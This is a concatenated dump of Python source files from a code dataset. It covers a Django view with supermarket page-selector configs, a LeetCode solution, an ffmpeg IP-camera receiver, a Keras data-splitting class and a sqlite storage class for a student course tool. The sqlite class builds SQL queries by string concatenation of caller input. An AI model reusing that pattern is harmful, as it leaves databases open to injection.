'div.product-details--content',\n 'position': 'append'\n },\n 'productResource': {\n 'name': {\n 'selector': 'div.product-details--content>a.product-tile--title',\n 'text': True\n },\n 'image_src': {\n 'selector': 'div.product-image__container>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'div.product-image__container>img',\n 'attribute': 'alt'\n },\n 'quantity': {\n 'selector': 'div.inputControl-wrapper>input.product-input',\n 'attribute': 'value'\n }\n }\n }\n ]\n },\n {\n 'type': 'detail',\n 'url_pattern': '/products/\\\\d+$',\n 'timers': {\n #// Scan page every 2 seconds in case of page changes by AJAX\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'div.product-details-page',\n #// Get product id to be able to ask API for data\n 'id': {\n 'url_pattern': '/\\\\d+$',\n 'id_pattern': '\\\\d+$'\n },\n #// Define where to put the traffic light \n 'trafficLight': {\n 'template': 'traffic_light_detail_page',\n #// Define where to put the traffic light\n #// Tesco is difficult, so need to use absolute value. \n #// Currently defines div with main product data, and then uses absolute to inject traffic lights\n 'position': {\n 'css' : {\n 'position': 'absolute',\n 'top': '360px',\n 'left': '50%'\n }\n }\n },\n #// Get data from the page\n #// Define selectors to get images\n 'productResource': {\n 'name': {\n 'selector': 'h1.product-title__h1',\n 'text': True\n },\n 'image_src': {\n 'selector': 'div.product-image__container>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'div.product-image__container>img',\n 'attribute': 'alt'\n }\n }\n }\n ]\n },\n {\n 'type': 'search',\n 'url_pattern': '/search',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'ul.product-list>li.product-list--list-item',\n 'id': {\n 'selector': 'div[data-auto-id]',\n 'attribute': 'data-auto-id'\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'div.product-details--wrapper',\n 'position': 'after'\n }\n }\n ]\n },\n ]\n },\n #///////////////////// WAITROSE ////////////////////\n 'waitrose': {\n 'timers': {\n 'process_pages': 2000\n },\n 'pages': [\n {\n 'type': 'browse',\n 'url_pattern': '/ecom/shop/browse/groceries',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'article[data-test=\"product-pod\"]',\n 'id': {\n 'selector': 'header a',\n 'attribute': {\n 'name': 'href',\n 'pattern': '\\\\d+-\\\\d+-\\\\d+$'\n }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'section:first-child',\n 'position': 'append'\n }\n }\n ]\n },\n {\n 'type': 'basket',\n 'url_pattern': '/ecom/shop/trolley',\n 'timers': {\n 'process_products': 2000\n },\n 'trolleySummary': {\n 'template': 'trolley_summary_page',\n 'selector': 'main>div>div:nth-child(2) button[data-test=\"empty-trolley\"]',\n 'position': 'after'\n },\n 'products': [\n {\n 'selector': 'section[data-test=\"grouped-section\"] ul li',\n 'id': {\n 'selector': 'a[data-test=\"link-pdp\"]',\n 'attribute': {\n 'name': 'href',\n 'pattern': '\\\\d+-\\\\d+-\\\\d+$'\n }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'a[data-test=\"link-pdp-title\"]',\n 'position': 'after'\n },\n 'productResource': {\n 'name': {\n 'selector': 'a[data-test=\"link-pdp-title\"] span:nth-child(2)',\n 'text': True\n },\n 'image_src': {\n 'selector': 'a[data-test=\"link-pdp\"]>img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'a[data-test=\"link-pdp\"]>img',\n 'attribute': 'alt'\n },\n 'quantity': {\n 'selector': 'div:nth-child(2)>div:nth-child(3)>div:first-child',\n 'text': {\n 'pattern': '\\\\d+'\n }\n }\n }\n }\n ]\n },\n {\n 'type': 'detail',\n 'url_pattern': '/ecom/products/.+/\\\\d+-\\\\d+-\\\\d+$',\n 'products': [\n {\n 'selector': 'div#content',\n 'id': {\n 'url_pattern': '/\\\\d+-\\\\d+-\\\\d+$',\n 'id_pattern': '\\\\d+-\\\\d+-\\\\d+$'\n },\n 'trafficLight': {\n 'template': 'traffic_light_detail_page',\n 'position': {\n 'css': {\n 'position': 'absolute',\n 'top': '320px',\n 'right': '120px',\n }\n }\n },\n 'productResource': {\n 'name': {\n 'selector': 'h1#productName span[data-test=\"product-name\"]',\n 'text': True\n },\n 'image_src': {\n 'selector': 'section#productImage picture img',\n 'attribute': 'src'\n },\n 'image_alt': {\n 'selector': 'section#productImage picture img',\n 'attribute': 'alt'\n }\n }\n }\n ]\n },\n {\n 'type': 'search',\n 'url_pattern': '/shop/search',\n 'timers': {\n 'process_products': 2000\n },\n 'products': [\n {\n 'selector': 'article[data-test=\"product-pod\"]',\n 'id': {\n 'selector': 'header a',\n 'attribute': {\n 'name': 'href',\n 'pattern': '\\\\d+-\\\\d+-\\\\d+$'\n }\n },\n 'trafficLight': {\n 'template': 'traffic_light_list_page',\n 'selector': 'section:first-child',\n 'position': 'append'\n }\n }\n ]\n },\n ]\n }\n } \n template['ocado'] = template ['morrisons']\n \n result = template[supermarket]\n \n return Response(result);\n \nclass AuthSampleView(APIView):\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def post(self, request, supermarket):\n result = {\n 'status': 'error',\n 'message': 'Oops! Something goes wrong'\n }\n\n if (request.data):\n data = request.data\n user = request.user\n\n result['status'] = 'success'\n result['message'] = 'ok'\n result['data'] = {\n 'username': user.username,\n 'supermarket': supermarket,\n 'ids': data\n }\n else:\n result['message'] = 'Invalid parameters'\n\n return Response(result)\n","sub_path":"myshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":28050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"386794947","text":"def removeElement(nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n if len(nums) == 0:\n return 0\n pointer = 0\n for i in range(len(nums)):\n if nums[i] == val:\n continue\n else:\n nums[pointer] = nums[i]\n pointer += 1\n return pointer\n\n\nn = [1, 1]\nprint(removeElement(n, 1))\nprint(n)","sub_path":"1-100/easy/27. Remove Element.py","file_name":"27. Remove Element.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"309818587","text":"import collections\nimport threading\nimport ffmpeg\nimport cv2\n\nimport numpy as np\n\n\nclass IPCameraReciever:\n\n def __init__(self, address='tcp://localhost:40000', buffer_len=30, img_dim=(1280, 1280, 3),\n frame_callback=None, error_callback=None):\n self.sock = (\n ffmpeg\n .input(address, listen=1)\n .output('pipe:', format='rawvideo', pix_fmt='rgb24')\n .run_async(pipe_stdout=True)\n )\n self.connected = False\n self.img_dim = img_dim\n self.frame_buffer = np.zeros((buffer_len,) + img_dim, dtype=np.uint8)\n self.frame_counter = 0\n self.ptr = 0\n self.buffer_len = buffer_len\n self.frame_callback = frame_callback\n self.error_callback = error_callback\n self.update_lock = threading.Lock()\n\n def start(self):\n # self.run()\n self.thread = threading.Thread(target=self.run, args=())\n self.thread.daemon = True\n self.thread.start()\n return self\n\n def run(self):\n self.connected = True\n\n while True:\n in_bytes = self.sock.stdout.read(1280 * 720 * 3)\n if not in_bytes:\n self.close()\n if self.error_callback is not None: self.error_callback('Connection to client broken')\n return\n in_frame = (\n np\n .frombuffer(in_bytes, np.uint8)\n .reshape([720, 1280, 3])\n )\n frame = in_frame[..., ::-1]\n new_frame = np.zeros((1280, 1280, 3))\n new_frame[280:1000,:,:] = frame\n\n cv2.imshow('image', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n print(self.ptr)\n self.frame_buffer[self.ptr] = new_frame\n\n self.ptr += 1\n if self.ptr >= self.buffer_len:\n self.ptr = 0\n\n # self.frame_callback(self.frame_buffer[self.ptr])\n\n def get_current_frame(self):\n return self.ptr, self.frame_buffer[self.ptr].copy()\n\n def close(self):\n self.thread.join()\n","sub_path":"data_service/ip_camera_receiver.py","file_name":"ip_camera_receiver.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"476761870","text":"import numpy as np\nimport pandas as pd\nimport keras\nimport pandas as pd\nimport keras.preprocessing.text\n\nclass Cube:\n \n '''\n \n INTENDED USE > to be called through FastText() class. \n \n Takes in pandas dataframe with at least two columns where one\n is the dependent variable, and one is text. \n \n EXAMPLE USE: \n \n Cube(data,var)\n \n If there is more than one possible depedent variable in df then\n there you can run the moddle for any of it. \n \n \n '''\n \n \n def __init__(self,data,var):\n \n self.data = data\n self.var = var\n self.x,self.y = self._data_sets()\n self.x_train, self.y_train, self.x_test, self.y_test = self._split_data()\n \n def _word_index(self):\n\n out = []\n i = 0\n n = len(self.data)\n\n for item in self.data.text:\n\n temp = keras.preprocessing.text.one_hot(item, n, lower=True, split=\" \")\n out.insert(i,temp)\n i += 1\n\n return out\n \n\n def _data_sets(self):\n\n data = self.data.sample(frac=1)\n\n x = self._word_index()\n y = data[self.var]\n\n return x,y\n\n\n def _split_data(self):\n\n length = len(self.x)\n i = length - (length / 3)\n\n self.x_test = self.x[:i]\n self.x_test = np.array(self.x_test)\n\n self.x_train = self.x[i+1:]\n self.x_train = np.array(self.x_train)\n\n self.y_test = self.y[:i]\n self.y_test = np.array(self.y_test)\n self.y_train = self.y[i+1:]\n self.y_train = np.array(self.y_train)\n\n return self.x_train, self.y_train, self.x_test, self.y_test\n","sub_path":"fasttext/cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"378591354","text":"import os, sqlite3\nimport system\n\n\nclass Data():\n __Instance = None\n __dataPath = os.environ['LOCALAPPDATA'] + \"\\\\\" + system.programName\n __documentPath = os.environ['HOMEDRIVE'] + os.environ['HOMEPATH'] + \"\\\\Documents\\\\\" + system.programName\n __dbConnection = None\n __cursor = None\n\n def __init__(self):\n if self.__Instance is not None:\n raise ValueError(\"instance already exist!\")\n else:\n self.__init()\n\n def __del__(self):\n self.__dbConnection.close()\n\n @classmethod\n def getInstance(cls):\n if cls.__Instance is None:\n cls.__Instance = Data()\n return cls.__Instance\n\n def __firstCheck(self):\n isFirst = os.path.exists(self.__dataPath)\n if isFirst is False:\n return True\n else:\n return False\n\n # sqlite query testing : https://sqliteonline.com/\n def __firstInit(self):\n # 프로그램을 처음 설치 후 실행했을때. 디렉토리와 데이터베이스&테이블을 생성.\n os.mkdir(self.__dataPath)\n os.mkdir(self.__documentPath)\n\n # 데이터베이스 생성 및 테이블 정의\n # sqlite 자료형 : INTEGER, REAL, TEXT, BLOB, NULL\n # https://wikidocs.net/12454, http://lovedb.tistory.com/348 참조\n self.__dbConnection = sqlite3.connect(self.__dataPath + \"\\\\\" + system.programName + \".db\")\n self.__cursor = self.__dbConnection.cursor()\n # Account <학번, 이름>\n self.__cursor.execute('''create table `Account` (\n `studentNumber` INTEGER NOT NULL PRIMARY KEY,\n `name` TEXT );\n ''')\n # Semester <학번, 학기코드, 학기이름>\n self.__cursor.execute('''create table `Semester` (\n `studentNumber` INTEGER,\n `semesterCode` TEXT,\n `semesterName` TEXT,\n PRIMARY KEY (studentNumber,semesterCode, semesterName) );\n ''')\n # Lecture <강의코드, 교수님성함, 교수님연락처, 교수님메일, 학수번호, 분반, 수강생수, 학점, 성적비중, 한줄메모, 수업날짜, 폴더경로>\n self.__cursor.execute('''create table `Lecture` (\n `studentNumber` INTEGER,\n `semester` TEXT,\n `lectureCode` TEXT NOT NULL,\n `lectureName` TEXT, \n `academicNumber` TEXT,\n `classNumber` INTEGER,\n `totalStudentNumber` INTEGER,\n `grades` INTEGER,\n `dateTime` TEXT,\n `professorName` TEXT,\n `professorContact` TEXT,\n `professorMail` TEXT,\n `assistant1Name` TEXT,\n `assistant1Contact` TEXT,\n `assistant1Mail` TEXT,\n `assistant2Name` TEXT,\n `assistant2Contact` TEXT,\n `assistant2Mail` TEXT,\n `scoreRatio` TEXT,\n `memo` TEXT,\n `directory` TEXT,\n PRIMARY KEY (lectureCode,studentNumber,semester));''')\n \"\"\"\n # CourseList <강의코드, 학번>\n self.__cursor.execute('''create table `CourseList` (\n `lectureCode` TEXT NOT NULL,\n `studentNumber` INTEGER NOT NULL,\n PRIMARY KEY (lectureCode,studentNumber) );\n ''')\n \"\"\"\n # Notice \n self.__cursor.execute('''create table `Notice` (\n `id` INTEGER NOT NULL PRIMARY KEY,\n `title` TEXT NOT NULL,\n `writeDate` TEXT,\n `hitNumber` INTEGER,\n `contents` TEXT,\n `fileLink` TEXT );\n ''')\n # Assignment \n self.__cursor.execute('''create table `Assignment` (\n `id` INTEGER NOT NULL PRIMARY KEY,\n `title` TEXT NOT NULL,\n `contents` TEXT,\n `startDate` TEXT,\n `deadLine` TEXT,\n `extenedDate` TEXT,\n `status` TEXT,\n `submitDate` TEXT,\n `score` TEXT,\n `lectureCode` TEXT,\n `studentNumber` INTEGER,\n `team` TEXT);\n ''')\n # LearningResource \n self.__cursor.execute('''create table `LearningResource` (\n `id` INTEGER NOT NULL PRIMARY KEY,\n `title` TEXT NOT NULL,\n `writeDate` TEXT,\n `hitNumber` INTEGER,\n `contents` TEXT,\n `fileLink` TEXT );\n ''')\n # Bookmark <학번, 종류(유형), id>\n self.__cursor.execute('''create table `BookMark` (\n `studentNumber` INTEGER,\n `type` TEXT,\n `id` INTEGER,\n PRIMARY KEY (studentNumber, type, id) );\n ''')\n # Exam <강의코드, 시험날짜, 시험시작시간, 시험종료시간, 강의실위치>\n # 미구현\n # Cancled <강의코드, 휴강날짜, 휴강시간>\n # 미구현\n # Reinforcement <강의코드, 보강날짜, 보강시작시간, 보강종료시간, 강의실>\n # 미구현\n\n self.__dbConnection.commit()\n self.__dbConnection.close()\n\n def __init(self):\n if (self.__firstCheck() is True):\n print('프로그램을 처음 실행합니다. 디렉토리 및 데이터베이스를 생성합니다.')\n self.__firstInit()\n self.__dbConnection = sqlite3.connect(self.__dataPath + \"\\\\\" + system.programName + \".db\")\n self.__cursor = self.__dbConnection.cursor()\n\n def query(self, query):\n self.__cursor.execute(query)\n self.__dbConnection.commit()\n\n def select(self, _select, _from, _where, _order_by=None):\n if _select == \"\":\n _select = \"*\"\n if _order_by is None:\n query = 'SELECT ' + str(_select) + ' FROM ' + str(_from) + ' WHERE ' + str(_where)\n else:\n query = 'SELECT ' + str(_select) + ' FROM ' + str(_from) + ' WHERE ' + str(_where) + ' ORDER BY ' + str(\n _order_by)\n self.query(query)\n return self.__cursor.fetchall()\n\n def insert(self, _table, _into, _values):\n if _into.__len__() != 0:\n if _into.__len__() != _values.__len__():\n raise ValueError('column 수와 value 수가 일치하지 않습니다.')\n query = 'INSERT INTO ' + str(_table) + '('\n for i in _into:\n query += str(i) + ','\n query = query[:-1]\n query += ') VALUES ('\n for j in _values:\n query += '\"' + str(j) + '\",'\n query = query[:-1]\n query += ')'\n else:\n query = 'INSERT INTO ' + str(_table) + ' VALUES ('\n for j in _values:\n query += '\"' + str(j) + '\",'\n query = query[:-1]\n query += ')'\n self.query(query)\n\n def getInfo(self, t):\n if (t == 'connection'):\n if self.__dbConnection is not None:\n return True\n else:\n return False\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":8599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}